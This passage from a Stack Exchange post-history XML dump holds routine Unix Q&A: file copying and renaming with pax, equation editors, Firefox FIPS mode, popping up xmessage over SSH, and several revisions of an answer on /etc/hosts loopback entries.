https://fedorahosted.org/func/&#xD;&#xA;  [8]: http://docs.fabfile.org/&#xD;&#xA;  [9]: https://github.com/capistrano/capistrano/wiki&#xD;&#xA;" />
  <row Id="32277" PostHistoryTypeId="5" PostId="13077" RevisionGUID="5e195474-36be-4418-b591-ef38ab936a9b" CreationDate="2011-05-12T20:25:56.243" UserId="885" Comment="formatting" Text="I am wondering whether there is a way how to copy and rename a bunch of files without scripting. I have files with names like `prefix_12345678901_12345678901_suffix.ext` and I need to copy all of them into a given directory such that the copies are named like `1234567890_1234567890.ext`&#xD;&#xA;&#xD;&#xA;I also do not want to overwrite existing files in the target directory.&#xD;&#xA;&#xD;&#xA;I know I could do something like:&#xD;&#xA;&#xD;&#xA;    cp -n source/*.ext target&#xD;&#xA;&#xD;&#xA;followed by&#xD;&#xA;&#xD;&#xA;    rename 's/.*([0-9]{11}_[0-9]{11}).*\.(.*$)/$1.$2/' *.ext&#xD;&#xA;&#xD;&#xA;but this would make copies first and only then figured out whether the files already exist or not. I need sort of a reversed process...&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Well, I guess this is scripting, but I finally suceeded with something like:&#xD;&#xA;&#xD;&#xA;    for i in /source/*.ext; do if [[ &quot;$i&quot; =~ [0-9]{11}_[0-9]{11} ]]; then cp $i /target/${BASH_REMATCH[0]}.ext; fi done;&#xD;&#xA;" />
  <row Id="32279" PostHistoryTypeId="2" PostId="13082" RevisionGUID="10ce805b-a24a-4cca-bbba-6c592e88efa2" CreationDate="2011-05-12T21:00:58.540" UserId="885" Text="[`pax`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/pax.html) can copy and rename all at once.&#xD;&#xA;&#xD;&#xA;    pax -rw -pp -k \&#xD;&#xA;        -s'!^source/[^/]*\([0-9]\{11\}_[0-9]\{11\}\)[^/]*\(\.[^./]*\)!\1\2!' \&#xD;&#xA;        -s'!.*!!' source target&#xD;&#xA;&#xD;&#xA;`pax -rw` copies files; `-pp` preserves permissions, and `-k` says not to overwrite existing files. The `-s` arguments tell pax to rename files as it's copying. The first transformation makes the renaming you want (using [basic regular expressions](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html#tag_09_03) and [substitutions like in `ed`](http://pubs.opengroup.org/onlinepubs/009695399/utilities/ed.html#tag_04_42_13_25)). The second transformation turns every source file name that's not yet matched into the empty string, which tells pax not to copy that file.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt; Note to zsh fans: as far as I can tell, you can't get `zmv` to copy the files where the definition doesn't exist and leave the others alone. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="32280" PostHistoryTypeId="25" PostId="13077" RevisionGUID="8bef39b2-a356-4b4c-a06b-2d56f3f1b459" CreationDate="2011-05-12T21:11:51.320" Comment="http://twitter.com/#!/StackUnix/status/68785479792861184" />
  <row Id="32281" PostHistoryTypeId="2" PostId="13083" RevisionGUID="7c161791-e3cf-4d4e-b82c-f9cfdfbee293" CreationDate="2011-05-12T21:30:34.963" UserId="885" Text="OpenOffice/LibreOffice already includes an equation editor, [Math](http://www.libreoffice.org/features/math/) ([Math](http://www.openoffice.org/product/math.html)). It's usable both as a standalone program and for equations embedded in a Write document.&#xD;&#xA;&#xD;&#xA;There are two other major open-source mathematical document editors, both more directly inspired by [(La)TeX](http://en.wikipedia.org/wiki/LaTeX). [LyX](http://en.wikipedia.org/wiki/LyX) is a wysiwyg front-end for LaTeX and lets you insert literal bits of LaTeX if you need it. If you're going to eventually learn LaTex to write documents with serious mathematical content, LyX provides a gentle curve to introduce you to the concepts before jumping into the syntax. Another contender is [TeXmacs](http://en.wikipedia.org/wiki/TeXmacs), which as the name suggests is inspired by both [TeX](http://en.wikipedia.org/wiki/TeX) and [Emacs](http://en.wikipedia.org/wiki/GNU_Emacs).&#xD;&#xA;&#xD;&#xA;In terms of core functionality, they're all equivalent. They're all (MathType, OO Math, the Microsoft offering, LyX, TeXmacs, …) based on [Knuth](http://en.wikipedia.org/wiki/Donald_Knuth)'s design for TeX anyway. In terms of ergonomy, you'll have to make up your own mind.&#xD;&#xA;" />
  <row Id="32282" PostHistoryTypeId="6" PostId="13078" RevisionGUID="ae855e8d-c5bf-4e88-8836-eceaa08cadba" CreationDate="2011-05-12T21:30:57.207" UserId="885" Comment="edited tags" Text="ésoftwareörecàéopenofficeàéwordöprocessingàémathà" />
  <row Id="32284" PostHistoryTypeId="2" PostId="13084" RevisionGUID="c1ca08d2-dfbf-4b08-b4f6-a65443d94964" CreationDate="2011-05-12T23:20:49.573" UserId="6352" Text="You can also enable FIPS Mode. &#xD;&#xA;&#xD;&#xA;Enable it by:&#xD;&#xA;    Preferences-&gt;Advanced-&gt;Encryption-&gt;Security Devices-&gt;Enable FIPS&#xD;&#xA;&#xD;&#xA;You must have a Master Password set on your password database for this to work, but these are the settings we put in place here at the security company where I work. If we store passwords in the browser, then these two steps must be taken in order for it to be acceptable security-wise to the company. &#xD;&#xA;&#xD;&#xA;For an explanation on FIPS 140-2, and why you'd want to do this: &#xD;&#xA;&#xD;&#xA;https://developer.mozilla.org/en/NSS/FIPS_Mode_-_an_explanation&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32285" PostHistoryTypeId="2" PostId="13085" RevisionGUID="ff95fe07-b3bc-4593-8356-e51f4be02f19" CreationDate="2011-05-12T23:53:13.553" UserId="7433" Text="My wife is sitting at her home desktop, `alpha`, which is running a recent version of Ubuntu.  I am on a bus, using ConnectBot on my G1 phone, and can SSH into `alpha` from wherever I am.&#xD;&#xA;&#xD;&#xA;For complicated reasons, I cannot use IM, email, or the telephone in order to contact her.  (E.g. I don't want to wake the baby, my IM client is broken, my email server is down.)  My only option is to ssh into `alpha` remotely and try to somehow make something appear on the screen.  She's using KDE; how can I make something pop up to get her attention and let her know I'm trying to communicate with her?  I thought it was possible to remotely trigger something (like xmessage) to appear on her screen even though my SSH session doesn't have an X display.&#xD;&#xA;&#xD;&#xA;EDIT: To clarify, my phone is not running any flavor of X, so X-over-ssh is not possible.  Would the following work?&#xD;&#xA;&#xD;&#xA;    $ export DISPLAY=:0&#xD;&#xA;    $ xmessage &quot;test&quot;" />
  <row Id="32286" PostHistoryTypeId="1" PostId="13085" RevisionGUID="ff95fe07-b3bc-4593-8356-e51f4be02f19" CreationDate="2011-05-12T23:53:13.553" UserId="7433" Text="Is there a way to communicate with someone at their desktop?" />
  <row Id="32287" PostHistoryTypeId="3" PostId="13085" RevisionGUID="ff95fe07-b3bc-4593-8356-e51f4be02f19" CreationDate="2011-05-12T23:53:13.553" UserId="7433" Text="ésshàéxorgà" />
  <row Id="32288" PostHistoryTypeId="2" PostId="13086" RevisionGUID="872ce676-ec9d-4d75-8d82-0f43e7beac48" CreationDate="2011-05-12T23:58:46.003" UserId="73" Text="You can tell an X program which display to use with the `DISPLAY` environment variable, as long as you know which display `alpha` is currently showing. Almost certainly the only display is `:0`, unless you've manually fiddled with it, so if you run:&#xD;&#xA;&#xD;&#xA;    $ export DISPLAY=:0&#xD;&#xA;&#xD;&#xA;Then any X applications you run will be displayed on `alpha`'s monitor. `xmessage` is a good choice for showing messages; there's also `xdialog`. If you have `libnotify` installed, you can use `notify-send` to popup a message in the corner of the screen:&#xD;&#xA;&#xD;&#xA;![Example](http://so.mrozekma.com/unix-libnotify-example.png)" />
  <row Id="32289" PostHistoryTypeId="25" PostId="13085" RevisionGUID="976fd476-3b0a-4d02-bab2-bda9e4846646" CreationDate="2011-05-13T00:11:52.350" Comment="http://twitter.com/#!/StackUnix/status/68830783313412097" />
  <row Id="32290" PostHistoryTypeId="2" PostId="13087" RevisionGUID="b44d26ae-5d3d-4b20-b3a2-0f49286efc21" CreationDate="2011-05-13T00:23:35.887" UserId="3169" Text="**Summary**&#xD;&#xA;&#xD;&#xA;You should have&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;If there is an entry for your machine's name, it should be a separate line like this&#xD;&#xA;&#xD;&#xA;    w.x.y.z      machinename.domain machinename&#xD;&#xA;&#xD;&#xA;where `w.x.y.z` is an address outside of `127.x.x.x`, for example the address of `eth0`.&#xD;&#xA;&#xD;&#xA;Having `machinename.domain` or `machine` on any line starting with `127` might be required for some applications like GNOME, but it might actually cause problems with other applications!&#xD;&#xA;&#xD;&#xA;If you must choose between&#xD;&#xA;&#xD;&#xA;    127.0.0.1    machinename.domain machinename localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    127.0.1.1    machinename.domain machinename&#xD;&#xA;&#xD;&#xA;, the two-line format seems to be slightly preferred, I think because tools can manipulate that format more easily.&#xD;&#xA;&#xD;&#xA;But I don't think either of those should be required in Debian lenny.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Effectively your machine host two host names.&#xD;&#xA;&#xD;&#xA;`localhost.localdomain` is the name used for private communications between two TCP/IP-capable processes running on the same machine.&#xD;&#xA;&#xD;&#xA;`machinename.domain` is the name used for communications between your machine and machines connected to your machine.&#xD;&#xA;&#xD;&#xA;You always want `localhost.localdomain` to point to `127.0.0.1` (and `::1` if you are using IPv6).  That way, all communication between two TCP/IP processes on the same machine will use the `lo` (loopback) interface, which is usually allowed by firewalls such as `iptables`, and nothing has to worry about whether your network is available or whether DNS is working.&#xD;&#xA;&#xD;&#xA;Some applications such as GNOME &lt;sup&gt;1&lt;/sup&gt; try to use your machine's public name for everything.  This is so that one part of GNOME can talk to another part of GNOME, even if it's running on a different machine on your network.  (The N in GNOME originally stood for &quot;network&quot;.)&#xD;&#xA;&#xD;&#xA;Ideally, your machine's name is known using DNS or some other shared database that other machines can also use to determine your machine's address, so that applications on other machine can talk to your machine.&#xD;&#xA;&#xD;&#xA;But if your machine's name isn't in DNS, or DNS isn't working, programs like GNOME still need a way to talk to itself.&#xD;&#xA;&#xD;&#xA;There have been various ways of modifying `/etc/hosts` to make things work even without DNS.&#xD;&#xA;&#xD;&#xA;The most common used to be&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    w.x.y.z      machinename.domain machinename&#xD;&#xA;&#xD;&#xA;where `w.x.y.z` is the address of your primary network interface, e.g. `eth0`.&#xD;&#xA;&#xD;&#xA;That worked OK if your system used a static IP address and was always connected&lt;sup&gt;2&lt;/sup&gt;.&#xD;&#xA;&#xD;&#xA;If your system had a dynamic IP address, various scripts were used to edit `/etc/hosts` to include an entry based on what the DHCP server returned.&#xD;&#xA;&#xD;&#xA;But if your system didn't have a permanent network connection, you couldn't add an entry like that because you didn't have a single reliable address.&#xD;&#xA;&#xD;&#xA;So then people started doing something like&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost machinename.domain machinename&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    127.0.0.1    machinename.domain machinename localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;That way, TCP/IP processes that could still talk to other TCP/IP processes on the same machine, even if they looked up the IP address using the machine's name.&#xD;&#xA;&#xD;&#xA;But it broke other applications.&#xD;&#xA;&#xD;&#xA;For example, [`dnsdomain`](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=247734).&#xD;&#xA;&#xD;&#xA;I also remember there being problems where only people on the same machine could connect to a server because the server was only listening&lt;sup&gt;3&lt;/sup&gt; for connections on the loopback device.&#xD;&#xA;&#xD;&#xA;The program would get the machine's name, then look up the address of name, and use the first address found, and bind to that network interface.  If your machine's name resolved to `127.0.0.1`&lt;sup&gt;4&lt;/sup&gt; address, that meant the service you thought was running on `machinename.domain` (and was thus available to the whole network), was really only available to other processes running on the same machine.&#xD;&#xA;&#xD;&#xA;As Andy points out, the order of the names shouldn't matter.  Something trying to look up the host name for `127.0.0.1` would get the first name as the canonical/official/primary name of the host, but because it would resolve forwards and backwards, I can't think how this would cause any problem.&#xD;&#xA;&#xD;&#xA;But I think you should always have the fully-qualified domain name first as I mentioned in [format of /etc/hosts](http://unix.stackexchange.com/questions/13046/format-of-etc-hosts-on-linux-different-from-windows/13048).&#xD;&#xA;&#xD;&#xA;There is another similar format that uses two lines instead of one, e.g.&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    127.0.1.1    machinename.domain machinename&#xD;&#xA;&#xD;&#xA;This is a neat trick, because `lo`'s address is really `127.0.0.1/8`, meaning any address in the `127` network is the loopback device.&#xD;&#xA;&#xD;&#xA;I assume this format was used so that tools that need to change the entry for your `machinename.domain` can do so without touching the `127.0.0.1   localhost...` entry.&#xD;&#xA;&#xD;&#xA;But note that it still causes `machinename.domain` to map to `lo`, so it's not much better.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;In [Proposed new scheme for resolving the system hostname](http://lists.debian.org/debian-boot/2005/06/msg00639.html), it sounds like Debian has removed the `127.0.1.1` entry from `/etc/hosts`.  Was this system upgraded from an earlier release?&#xD;&#xA;&#xD;&#xA;I also just booted up Fedora 15 in a VM and logged into the Gnome desktop, and I couldn't see any TCP/IP connections.  They all seem to be using UNIX sockets.  So perhaps the `127.0.1.1` entry is no longer needed.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Footnotes**&#xD;&#xA;&#xD;&#xA;1. This used to be the case.  On my Fedora 15 test machine, it seems to be using UNIX sockets rather than TCP/IP.&#xD;&#xA;2. Except during system boot before the network has been started.&#xD;&#xA;3. Really &quot;bound&quot; rather than &quot;listening&quot;.&#xD;&#xA;4. Or any 127.x.x.x address." />
  <row Id="32291" PostHistoryTypeId="5" PostId="13087" RevisionGUID="bab52b32-bf94-4079-af44-f6aff7f48b4a" CreationDate="2011-05-13T00:28:40.703" UserId="3169" Comment="the &quot;proposed new scheme&quot; thread ended up going back to 127.0.1.1 :-/; deleted 207 characters in body; deleted 1 characters in body; added 23 characters in body" Text="**Summary**&#xD;&#xA;&#xD;&#xA;You should have always have&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;Then, if you have a permanent IP address, you should add&#xD;&#xA;&#xD;&#xA;    w.x.y.z      machinename.domain machinename&#xD;&#xA;&#xD;&#xA;where `w.x.y.z` is an address outside of `127.x.x.x`, for example the address of `eth0`.&#xD;&#xA;&#xD;&#xA;Otherwise you should add&#xD;&#xA;&#xD;&#xA;    127.0.1.1    machinename.domain machinename&#xD;&#xA;&#xD;&#xA;This line seems to be required for some applications like GNOME, but it might actually cause problems with other applications!&#xD;&#xA;&#xD;&#xA;See [Proposed new scheme for resolving the system hostname](http://lists.debian.org/debian-boot/2005/06/msg00938.html).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Effectively your machine has two host names.&#xD;&#xA;&#xD;&#xA;`localhost.localdomain` is the name used for private communications between two TCP/IP-capable processes running on the same machine.&#xD;&#xA;&#xD;&#xA;`machinename.domain` is the name used for communications between your machine and machines connected to your machine.&#xD;&#xA;&#xD;&#xA;You always want `localhost.localdomain` to point to `127.0.0.1` (and `::1` if you are using IPv6).  That way, all communication between two TCP/IP processes on the same machine will use the `lo` (loopback) interface, which is usually allowed by firewalls such as `iptables`, and nothing has to worry about whether your network is available or whether DNS is working.&#xD;&#xA;&#xD;&#xA;Some applications such as GNOME &lt;sup&gt;1&lt;/sup&gt; try to use your machine's public name for everything.  This is so that one part of GNOME can talk to another part of GNOME, even if it's running on a different machine on your network.  (The N in GNOME originally stood for &quot;network&quot;.)&#xD;&#xA;&#xD;&#xA;Ideally, your machine's name is known using DNS or some other shared database that other machines can also use to determine your machine's address, so that applications on other machine can talk to your machine.&#xD;&#xA;&#xD;&#xA;But if your machine's name isn't in DNS, or DNS isn't working, programs like GNOME still need a way to talk to itself.&#xD;&#xA;&#xD;&#xA;There have been various ways of modifying `/etc/hosts` to make things work even without DNS.&#xD;&#xA;&#xD;&#xA;The most common used to be&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    w.x.y.z      machinename.domain machinename&#xD;&#xA;&#xD;&#xA;where `w.x.y.z` is the address of your primary network interface, e.g. `eth0`.&#xD;&#xA;&#xD;&#xA;That worked OK if your system used a static IP address and was always connected&lt;sup&gt;2&lt;/sup&gt;.&#xD;&#xA;&#xD;&#xA;If your system had a dynamic IP address, various scripts were used to edit `/etc/hosts` to include an entry based on what the DHCP server returned.&#xD;&#xA;&#xD;&#xA;But if your system didn't have a permanent network connection, you couldn't add an entry like that because you didn't have a single reliable address.&#xD;&#xA;&#xD;&#xA;So then people started doing something like&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost machinename.domain machinename&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    127.0.0.1    machinename.domain machinename localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;That way, TCP/IP processes that could still talk to other TCP/IP processes on the same machine, even if they looked up the IP address using the machine's name.&#xD;&#xA;&#xD;&#xA;But it broke other applications.&#xD;&#xA;&#xD;&#xA;For example, [`dnsdomain`](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=247734).&#xD;&#xA;&#xD;&#xA;I also remember there being problems where only people on the same machine could connect to a server because the server was only listening&lt;sup&gt;3&lt;/sup&gt; for connections on the loopback device.&#xD;&#xA;&#xD;&#xA;The program would get the machine's name, then look up the address of name, and use the first address found, and bind to that network interface.  If your machine's name resolved to `127.0.0.1`&lt;sup&gt;4&lt;/sup&gt; address, that meant the service you thought was running on `machinename.domain` (and was thus available to the whole network), was really only available to other processes running on the same machine.&#xD;&#xA;&#xD;&#xA;As Andy points out, the order of the names shouldn't matter.  Something trying to look up the host name for `127.0.0.1` would get the first name as the canonical/official/primary name of the host, but because it would resolve forwards and backwards, I can't think how this would cause any problem.&#xD;&#xA;&#xD;&#xA;But I think you should always have the fully-qualified domain name first as I mentioned in [format of /etc/hosts](http://unix.stackexchange.com/questions/13046/format-of-etc-hosts-on-linux-different-from-windows/13048).&#xD;&#xA;&#xD;&#xA;There is another similar format that uses two lines instead of one, e.g.&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    127.0.1.1    machinename.domain machinename&#xD;&#xA;&#xD;&#xA;This is a neat trick, because `lo`'s address is really `127.0.0.1/8`, meaning any address in the `127` network is the loopback device.&#xD;&#xA;&#xD;&#xA;I assume this format was used so that tools that need to change the entry for your `machinename.domain` can do so without touching the `127.0.0.1   localhost...` entry.&#xD;&#xA;&#xD;&#xA;But note that it still causes `machinename.domain` to map to `lo`, so it can still cause the problems I mentioned.&#xD;&#xA;&#xD;&#xA;I also just booted up Fedora 15 in a VM and logged into the Gnome desktop, and I couldn't see any TCP/IP connections.  They all seem to be using UNIX sockets.  So perhaps the `127.0.1.1` entry is no longer needed.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Footnotes**&#xD;&#xA;&#xD;&#xA;1. This used to be the case.  On my Fedora 15 test machine, it seems to be using UNIX sockets rather than TCP/IP.&#xD;&#xA;2. Except during system boot before the network has been started.&#xD;&#xA;3. Really &quot;bound&quot; rather than &quot;listening&quot;.&#xD;&#xA;4. Or any 127.x.x.x address." />
  <row Id="32292" PostHistoryTypeId="5" PostId="13087" RevisionGUID="5bc197c4-4d0e-432d-bf05-6d79ffd3f7b7" CreationDate="2011-05-13T00:35:35.317" UserId="3169" Comment="added 178 characters in body; deleted 21 characters in body" Text="**Summary**&#xD;&#xA;&#xD;&#xA;You should have always have&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;Then, if you have a permanent IP address, you should add&#xD;&#xA;&#xD;&#xA;    w.x.y.z      machinename.domain machinename&#xD;&#xA;&#xD;&#xA;where `w.x.y.z` is an address outside of `127.x.x.x`, for example the address of `eth0`.&#xD;&#xA;&#xD;&#xA;Otherwise you should add&#xD;&#xA;&#xD;&#xA;    127.0.1.1    machinename.domain machinename&#xD;&#xA;&#xD;&#xA;This line seems to be required for some applications like GNOME, but it might actually cause problems with other applications!&#xD;&#xA;&#xD;&#xA;See [Proposed new scheme for resolving the system hostname](http://lists.debian.org/debian-boot/2005/06/msg00938.html).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Effectively your machine has two host names.&#xD;&#xA;&#xD;&#xA;`localhost.localdomain` is the name used for private communications between two TCP/IP-capable processes running on the same machine.&#xD;&#xA;&#xD;&#xA;`machinename.domain` is the name used for communications between your machine and machines connected to your machine.&#xD;&#xA;&#xD;&#xA;You always want `localhost.localdomain` to point to `127.0.0.1` (and `::1` if you are using IPv6).  That way, all communication between two TCP/IP processes on the same machine will use the `lo` (loopback) interface, which is usually allowed by firewalls such as `iptables`, and nothing has to worry about whether your network is available or whether DNS is working.&#xD;&#xA;&#xD;&#xA;Some applications such as GNOME &lt;sup&gt;1&lt;/sup&gt; try to use your machine's public name for everything, even when talking to the same machine.  This is so that one part of GNOME can talk to another part of GNOME, even if it's running on a different machine on your network.  (The N in GNOME originally stood for &quot;network&quot;.)&#xD;&#xA;&#xD;&#xA;Ideally, your machine's name is known using DNS or some other shared database that other machines can also use to determine your machine's address, so that applications on other machines can talk to your machine.&#xD;&#xA;&#xD;&#xA;But if your machine's name isn't in DNS, or DNS isn't working, programs like GNOME still need a way to talk to itself.&#xD;&#xA;&#xD;&#xA;There have been various ways of modifying `/etc/hosts` to make this work.&#xD;&#xA;&#xD;&#xA;The most common used to be&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    w.x.y.z      machinename.domain machinename&#xD;&#xA;&#xD;&#xA;where `w.x.y.z` is the address of your primary network interface, e.g. `eth0`.&#xD;&#xA;&#xD;&#xA;That worked OK if your system used a static IP address and was always connected&lt;sup&gt;2&lt;/sup&gt;.&#xD;&#xA;&#xD;&#xA;If your system had a dynamic IP address, various scripts were used to edit `/etc/hosts` to include an entry based on what the DHCP server returned.&#xD;&#xA;&#xD;&#xA;But if your system didn't have a permanent network connection, you couldn't add an entry like that because you didn't have a single reliable address.&#xD;&#xA;&#xD;&#xA;So then people started doing something like&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost machinename.domain machinename&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    127.0.0.1    machinename.domain machinename localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;That way, processes that use TCP/IP could still talk to other processes on the same machine, even if they looked up the IP address using the machine's name.&#xD;&#xA;&#xD;&#xA;But it broke other applications.&#xD;&#xA;&#xD;&#xA;For example, [`dnsdomain`](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=247734).&#xD;&#xA;&#xD;&#xA;I also remember there being problems where only people on the same machine could connect to a server because the server was only listening&lt;sup&gt;3&lt;/sup&gt; for connections on the loopback device.&#xD;&#xA;&#xD;&#xA;The program would get the machine's name, then look up the address of name, and use the first address found, and bind to that network interface.  If your machine's name resolved to `127.0.0.1`&lt;sup&gt;4&lt;/sup&gt; address, that meant the service you thought was running on `machinename.domain` (and was thus available to the whole network), was really only available to other processes running on the same machine.&#xD;&#xA;&#xD;&#xA;As Andy points out, the order of the names shouldn't matter.  Something trying to look up the host name for `127.0.0.1` would get the first name as the canonical/official/primary name of the host, but because it would resolve forwards and backwards, I can't think how this would cause any problem, unless there is some automated tool for editing `/etc/hosts` that expects one format or the other.&#xD;&#xA;&#xD;&#xA;But I think you should always have a fully-qualified domain name (i.e. a name that includes a domain name) first as I mentioned in [format of /etc/hosts](http://unix.stackexchange.com/questions/13046/format-of-etc-hosts-on-linux-different-from-windows/13048).&#xD;&#xA;&#xD;&#xA;There is another similar format that uses two lines instead of one, e.g.&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    127.0.1.1    machinename.domain machinename&#xD;&#xA;&#xD;&#xA;This is a neat trick, because `lo`'s address is really `127.0.0.1/8`, meaning any address in the `127` network is the loopback device.&#xD;&#xA;&#xD;&#xA;I assume this format was used so that tools that need to change the entry for your `machinename.domain` can do so without touching the `127.0.0.1   localhost...` entry.&#xD;&#xA;&#xD;&#xA;But note that it still causes `machinename.domain` to map to `lo`, so it can still cause the problems I mentioned.&#xD;&#xA;&#xD;&#xA;I also just booted up Fedora 15 in a VM and logged into the Gnome desktop, and I couldn't see any TCP/IP connections.  They all seem to be using UNIX sockets.  So perhaps the `127.0.1.1` entry is no longer needed.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Footnotes**&#xD;&#xA;&#xD;&#xA;1. This used to be the case.  On my Fedora 15 test machine, it seems to be using UNIX sockets rather than TCP/IP.&#xD;&#xA;2. Except during system boot before the network has been started.&#xD;&#xA;3. Really &quot;bound&quot; rather than &quot;listening&quot;.&#xD;&#xA;4. Or any 127.x.x.x address." />
  <row Id="32293" PostHistoryTypeId="5" PostId="13087" RevisionGUID="8d4f383b-a9e7-4cff-a174-4e9655e5ab9a" CreationDate="2011-05-13T00:41:05.267" UserId="3169" Comment="deleted 149 characters in body" Text="**Summary**&#xD;&#xA;&#xD;&#xA;You should have always have&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;In your case, because you don't have a permanent IP address, you can also have&#xD;&#xA;&#xD;&#xA;    127.0.1.1    machinename.domain machinename&#xD;&#xA;&#xD;&#xA;This line seems to be required for some applications like GNOME, but it might actually cause problems with other applications!&#xD;&#xA;&#xD;&#xA;See [Proposed new scheme for resolving the system hostname](http://lists.debian.org/debian-boot/2005/06/msg00938.html).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Effectively your machine has two host names.&#xD;&#xA;&#xD;&#xA;`localhost.localdomain` is the name used for private communications between two TCP/IP-capable processes running on the same machine.&#xD;&#xA;&#xD;&#xA;`machinename.domain` is the name used for communications between your machine and machines connected to your machine.&#xD;&#xA;&#xD;&#xA;You always want `localhost.localdomain` to point to `127.0.0.1` (and `::1` if you are using IPv6).  That way, all communication between two TCP/IP processes on the same machine will use the `lo` (loopback) interface, which is usually allowed by firewalls such as `iptables`, and nothing has to worry about whether your network is available or whether DNS is working.&#xD;&#xA;&#xD;&#xA;Some applications such as GNOME &lt;sup&gt;1&lt;/sup&gt; try to use your machine's public name for everything, even when talking to the same machine.  This is so that one part of GNOME can talk to another part of GNOME, even if it's running on a different machine on your network.  (The N in GNOME originally stood for &quot;network&quot;.)&#xD;&#xA;&#xD;&#xA;Ideally, your machine's name is known using DNS or some other shared database that other machines can also use to determine your machine's address, so that applications on other machines can talk to your machine.&#xD;&#xA;&#xD;&#xA;But if your machine's name isn't in DNS, or DNS isn't working, programs like GNOME still need a way to talk to itself.&#xD;&#xA;&#xD;&#xA;There have been various ways of modifying `/etc/hosts` to make this work.&#xD;&#xA;&#xD;&#xA;The most common used to be&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    w.x.y.z      machinename.domain machinename&#xD;&#xA;&#xD;&#xA;where `w.x.y.z` is the address of your primary network interface, e.g. `eth0`.&#xD;&#xA;&#xD;&#xA;That worked OK if your system used a static IP address and was always connected&lt;sup&gt;2&lt;/sup&gt;.&#xD;&#xA;&#xD;&#xA;If your system had a dynamic IP address, various scripts were used to edit `/etc/hosts` to include an entry based on what the DHCP server returned.&#xD;&#xA;&#xD;&#xA;But if your system didn't have a permanent network connection, you couldn't add an entry like that because you didn't have a single reliable address.&#xD;&#xA;&#xD;&#xA;So then people started doing something like&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost machinename.domain machinename&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    127.0.0.1    machinename.domain machinename localhost.localdomain localhost&#xD;&#xA;&#xD;&#xA;That way, processes that use TCP/IP could still talk to other processes on the same machine, even if they looked up the IP address using the machine's name.&#xD;&#xA;&#xD;&#xA;But it broke other applications.&#xD;&#xA;&#xD;&#xA;For example, [`dnsdomain`](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=247734).&#xD;&#xA;&#xD;&#xA;I also remember there being problems where only people on the same machine could connect to a server because the server was only listening&lt;sup&gt;3&lt;/sup&gt; for connections on the loopback device.&#xD;&#xA;&#xD;&#xA;The program would get the machine's name, then look up the address of name, and use the first address found, and bind to that network interface.  If your machine's name resolved to `127.0.0.1`&lt;sup&gt;4&lt;/sup&gt; address, that meant the service you thought was running on `machinename.domain` (and was thus available to the whole network), was really only available to other processes running on the same machine.&#xD;&#xA;&#xD;&#xA;As Andy points out, the order of the names shouldn't matter.  Something trying to look up the host name for `127.0.0.1` would get the first name as the canonical/official/primary name of the host, but because it would resolve forwards and backwards, I can't think how this would cause any problem, unless there is some automated tool for editing `/etc/hosts` that expects one format or the other.&#xD;&#xA;&#xD;&#xA;But I think you should always have a fully-qualified domain name (i.e. a name that includes a domain name) first as I mentioned in [format of /etc/hosts](http://unix.stackexchange.com/questions/13046/format-of-etc-hosts-on-linux-different-from-windows/13048).&#xD;&#xA;&#xD;&#xA;There is another similar format that uses two lines instead of one, e.g.&#xD;&#xA;&#xD;&#xA;    127.0.0.1    localhost.localdomain localhost&#xD;&#xA;    127.0.1.1    machinename.domain machinename&#xD;&#xA;&#xD;&#xA;This is a neat trick, because `lo`'s address is really `127.0.0.1/8`, meaning any address in the `127` network is the loopback device.&#xD;&#xA;&#xD;&#xA;I assume this format was used so that tools that need to change the entry for your `machinename.domain` can do so without touching the `127.0.0.1   localhost...` 